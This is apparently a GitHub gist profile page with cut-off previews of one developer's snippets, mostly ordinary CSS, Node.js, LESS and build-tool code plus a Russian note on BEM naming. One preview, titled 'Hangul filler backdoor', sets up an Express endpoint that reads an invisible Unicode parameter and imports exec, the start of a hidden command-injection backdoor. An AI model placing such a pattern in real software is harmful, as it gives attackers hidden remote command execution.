Skip to content

Instantly share code, notes, and snippets.

View bekharsky's full-sized avatar

Sergey Bekharsky bekharsky

View GitHub Profile
@bekharsky
bekharsky / custom.css
Last active February 3, 2024 21:58
custom CSS
*,
*::after,
*::before {
box-sizing: border-box;
}
pre {
appearance: none;
white-space: normal !important;
}
const WebSocket = require('ws');
const tvIP = '192.168.3.6';
const ws = new WebSocket(`wss://${tvIP}:8002/api/v2/channels/samsung.remote.control`, { rejectUnauthorized: false });
ws.onopen = () => console.log('opened.');
ws.onclose = () => console.log('closed.');
ws.onmessage = message => {
const data = JSON.parse(message.data);
const dgram = require('dgram');
const { Buffer } = require('buffer');
// const = 'ssdp:all';
const SAMSUNG_TV_URN = 'urn:samsung.com:device:RemoteControlReceiver:1';
const PORT = 1900;
const TIMEOUT = 2000;
function broadcastSsdp(socket, target) {
const query = Buffer.from(
@bekharsky
bekharsky / hangul_filler.js
Created December 10, 2021 20:11
Hangul filler backdoor
const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);
const app = express();
app.get('/network_health', async (req, res) => {
const { timeout,ㅤ} = req.query;
const checkCommands = [
'ping -c 1 google.com',
{
"[dart]": {
"editor.formatOnSave": true,
"editor.formatOnType": true,
"editor.rulers": [
80
],
"editor.selectionHighlight": false,
"editor.suggest.snippetsPreventQuickSuggestions": false,
"editor.suggestSelection": "first",
@bekharsky
bekharsky / tree.txt
Created March 14, 2019 21:49
Typical structure
.
├── Brocfile.js
├── Makefile
├── dist
├── doc
│   ├── 2017-12-23\ Grid\ Definition.md
│   ├── 2017-12-24\ New\ Footer\ Social\ Icons.md
│   ├── 2017-12-25\ Layout\ Changes.md
│   ├── 2017-12-25\ Slider\ Declaration.md
│   ├── 2017-12-27\ Layout\ Changes.md
@bekharsky
bekharsky / fucked-up.md
Last active April 11, 2023 09:50
SCSS BEM Fucked up situation

В общем, суть вся в том, что если ты применяешь БЭМ, все эти бесконечные block block__el block__el_m, велик соблазн написать вот так:

.block {
  стили блока

  &__el {
    стили элемента

    &_m {
      стили модификатора для элемента
@bekharsky
bekharsky / staggered.less
Last active September 29, 2016 21:13
Position icons in the staggered order
@step: @icon-size + 12 / 1366 * 100vw;
@t: @icon-size * 0.35;
@l: -@icon-size;
@d: 5ms;
@from: 0;
@to: 17;
@break: 6;
.loop(@index) when(@index =< @to) {
@i: @index + 1;
@bekharsky
bekharsky / Brocfile.js
Last active February 12, 2017 00:03
Broccoli.js + Babel + LESS/SASS + BrowserSync
'use strict';
const TASKS = {
build: 'build',
serve: 'serve'
}
const BUILDING = process.argv.indexOf(TASKS.build) > 0;
const SERVING = process.argv.indexOf(TASKS.serve) > 0;
import Ember from 'ember';
export default Ember.Controller.extend({
appName: 'Ember Twiddle'
});